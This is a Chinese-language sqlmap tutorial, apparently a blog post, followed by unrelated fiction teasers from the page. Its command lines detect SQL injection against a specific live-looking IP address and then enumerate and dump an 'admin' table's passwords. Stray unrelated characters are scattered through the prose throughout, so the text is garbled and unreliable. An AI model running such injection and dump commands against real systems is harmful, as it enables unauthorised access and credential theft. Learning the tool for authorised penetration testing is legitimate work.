sqlmap使用手冊(cè)

一、概述

1.1 簡(jiǎn)介

sqlmap是一款非常強(qiáng)大的開源sql自動(dòng)化注入工具摆出,可以用來檢測(cè)和利用sql注入漏洞枚驻。它是由python語言編寫而成。因此使用sqlmap時(shí)纫谅,需要在python環(huán)境中運(yùn)行炫贤。

1.2 功能點(diǎn)

  • 完全支持MySQL、Oracle付秕、PostgreSQL兰珍、Microsoft SQL Server、Microsoft Access询吴、IBM DB2掠河、SQLite、Firebird猛计、Sybase唠摹、SAP MaxDB、HSQLDB和Informix等多種數(shù)據(jù)庫(kù)管理系統(tǒng)奉瘤。
  • 完全支持布爾型盲注勾拉、時(shí)間型盲注、基于錯(cuò)誤信息的注入盗温、聯(lián)合查詢注入和堆查詢注入望艺。
  • 在數(shù)據(jù)庫(kù)證書、IP地址肌访、端口和數(shù)據(jù)庫(kù)名等條件允許的情況下支持不通過SQL注入點(diǎn)而直接連接數(shù)據(jù)庫(kù)找默。
  • 支持枚舉用戶、密碼吼驶、哈希惩激、權(quán)限店煞、角色、數(shù)據(jù)庫(kù)风钻、數(shù)據(jù)表和列顷蟀。
  • 支持自動(dòng)識(shí)別密碼哈希格式并通過字典破解密碼哈希。
  • 支持完全地下載某個(gè)數(shù)據(jù)庫(kù)中的某個(gè)表骡技,也可以只下載某個(gè)表中的某幾列鸣个,甚至只下載某一列中的部分?jǐn)?shù)據(jù),這完全取決于用戶的選擇布朦。
  • 支持在數(shù)據(jù)庫(kù)管理系統(tǒng)中搜索指定的數(shù)據(jù)庫(kù)名囤萤、表名或列名。
  • 當(dāng)數(shù)據(jù)庫(kù)管理系統(tǒng)是MySQL是趴、PostgreSQL或Microsoft SQL Server時(shí)支持下載或上傳文件涛舍。
  • 當(dāng)數(shù)據(jù)庫(kù)管理系統(tǒng)是MySQL、PostgreSQL或Microsoft SQL Server時(shí)支持執(zhí)行任意命令并回現(xiàn)標(biāo)準(zhǔn)輸出唆途。

二富雅、安裝

2.1 環(huán)境要求

? Python2.7(python3不支持)

2.2 安裝步驟

  • 在sqlmap官網(wǎng)http://sqlmap.org/下載最新版本的sqlmap安裝包(目前最新版本為1.3.2-25)。如下圖所示:
    在這里插入圖片描述
  • 將下載下來的安裝包sqlmapproject-sqlmap-1.3.2-25-gaf890d6.zip解壓到自己想存放的目錄并重命名肛搬,這里以D盤為例没佑,并將解壓后的文件重命名為sqlmap。解壓后的目錄結(jié)構(gòu)如下圖所示:


    在這里插入圖片描述

    驗(yàn)證sqlmap是否安裝完成温赔,可進(jìn)行如下操作進(jìn)行驗(yàn)證:

  • 打開cmd窗口图筹,進(jìn)入到python的安裝目錄(這里如果配置了python環(huán)境變量,則不需要進(jìn)入到此目錄):


    在這里插入圖片描述
  • 執(zhí)行如下命令:
python D:\sqlmap\sqlmap.py --version

若顯示sqlmap版本號(hào)让腹,則安裝成功远剩。如下圖所示:


在這里插入圖片描述

三、使用

3.1 初級(jí)用法

3.1.1 檢測(cè)注入點(diǎn)

  • GET注入
python D:\sqlmap\sqlmap.py -u http://117.41.229.122:8003/?id=1

說明:
-u:指定注入點(diǎn)骇窍,后面直接跟上待測(cè)的目標(biāo)url瓜晤。

如果出現(xiàn)如下紅框中的格式內(nèi)容,則存在sql注入腹纳;如果沒有痢掠,則不一定存在注入,可進(jìn)一步進(jìn)行滲透嘲恍。

在這里插入圖片描述

紅框中顯示了存在注入點(diǎn)的參數(shù)及注入的方式和內(nèi)容足画。
?

  • POST注入
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt --batch

說明:
-r:指定注入點(diǎn),后面直接跟上文件名稱佃牛,該文件記錄了發(fā)送請(qǐng)求的報(bào)文淹辞,該報(bào)文可以利用抓包工具fiddle或burpsuit等獲取。

在這里插入圖片描述

3.1.2 暴庫(kù)

所謂暴庫(kù)俘侠,就是利用已有sql漏洞對(duì)數(shù)據(jù)庫(kù)進(jìn)行深層次的數(shù)據(jù)挖掘象缀。暴庫(kù)的一般過程如下:
數(shù)據(jù)庫(kù)------>表------>列------->數(shù)據(jù)

  • 列出數(shù)據(jù)庫(kù):--dbs


    在這里插入圖片描述
  • 列出數(shù)據(jù)庫(kù)下的表:-D maoshe --tables


    在這里插入圖片描述

    ?

  • 列出表中的列:-D maoshe -T admin --columns


    在這里插入圖片描述
  • 列出表中固定列的數(shù)據(jù):-D maoshe -T admin –C password --dump


    在這里插入圖片描述
  • 若獲取表中的所有數(shù)據(jù)蔬将,則直接使用-D maoshe -T admin --dump


    在這里插入圖片描述

3.2 高級(jí)用法

  • 指定數(shù)據(jù)庫(kù) --dbms “Oracle”
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt --dbms "oracle" --batch
  • 指定注入等級(jí) --level
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt --level 2 --batch
  • 指定注入風(fēng)險(xiǎn)級(jí)別 --risk
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt --risk 2 --batch
  • 不使用緩存 --purge
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt --purge --batch
  • 指定參數(shù) -p
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt -p username --batch
  • 使用持久的http連接 --keep-alive
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt --keep-alive --batch
  • 請(qǐng)求并發(fā)量 --threads
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt --threads 4 --batch
  • 開啟所有的優(yōu)化開關(guān) -o
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt -o --batch

sqlmap的參數(shù)還有很多,在這里不一一列舉央星,可參考網(wǎng)上相關(guān)教程霞怀。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市莉给,隨后出現(xiàn)的幾起案子毙石,更是在濱河造成了極大的恐慌,老刑警劉巖颓遏,帶你破解...
    沈念sama閱讀 222,104評(píng)論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件徐矩,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡州泊,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,816評(píng)論 3 399
  • 文/潘曉璐 我一進(jìn)店門漂洋,熙熙樓的掌柜王于貴愁眉苦臉地迎上來遥皂,“玉大人,你說我怎么就攤上這事刽漂⊙菅担” “怎么了?”我有些...
    開封第一講書人閱讀 168,697評(píng)論 0 360
  • 文/不壞的土叔 我叫張陵贝咙,是天一觀的道長(zhǎng)样悟。 經(jīng)常有香客問我,道長(zhǎng)庭猩,這世上最難降的妖魔是什么窟她? 我笑而不...
    開封第一講書人閱讀 59,836評(píng)論 1 298
  • 正文 為了忘掉前任,我火速辦了婚禮蔼水,結(jié)果婚禮上震糖,老公的妹妹穿的比我還像新娘。我一直安慰自己趴腋,他們只是感情好吊说,可當(dāng)我...
    茶點(diǎn)故事閱讀 68,851評(píng)論 6 397
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著优炬,像睡著了一般颁井。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上蠢护,一...
    開封第一講書人閱讀 52,441評(píng)論 1 310
  • 那天雅宾,我揣著相機(jī)與錄音,去河邊找鬼葵硕。 笑死秀又,一個(gè)胖子當(dāng)著我的面吹牛单寂,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播吐辙,決...
    沈念sama閱讀 40,992評(píng)論 3 421
  • 文/蒼蘭香墨 我猛地睜開眼宣决,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來了昏苏?” 一聲冷哼從身側(cè)響起尊沸,我...
    開封第一講書人閱讀 39,899評(píng)論 0 276
  • 序言:老撾萬榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎贤惯,沒想到半個(gè)月后洼专,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 46,457評(píng)論 1 318
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡孵构,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,529評(píng)論 3 341
  • 正文 我和宋清朗相戀三年屁商,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片颈墅。...
    茶點(diǎn)故事閱讀 40,664評(píng)論 1 352
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡蜡镶,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出恤筛,到底是詐尸還是另有隱情官还,我是刑警寧澤,帶...
    沈念sama閱讀 36,346評(píng)論 5 350
  • 正文 年R本政府宣布毒坛,位于F島的核電站望伦,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏煎殷。R本人自食惡果不足惜屯伞,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 42,025評(píng)論 3 334
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望豪直。 院中可真熱鬧愕掏,春花似錦、人聲如沸顶伞。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,511評(píng)論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)唆貌。三九已至滑潘,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間锨咙,已是汗流浹背语卤。 一陣腳步聲響...
    開封第一講書人閱讀 33,611評(píng)論 1 272
  • 我被黑心中介騙來泰國(guó)打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人粹舵。 一個(gè)月前我還...
    沈念sama閱讀 49,081評(píng)論 3 377
  • 正文 我出身青樓钮孵,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親眼滤。 傳聞我的和親對(duì)象是個(gè)殘疾皇子巴席,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,675評(píng)論 2 359

推薦閱讀更多精彩內(nèi)容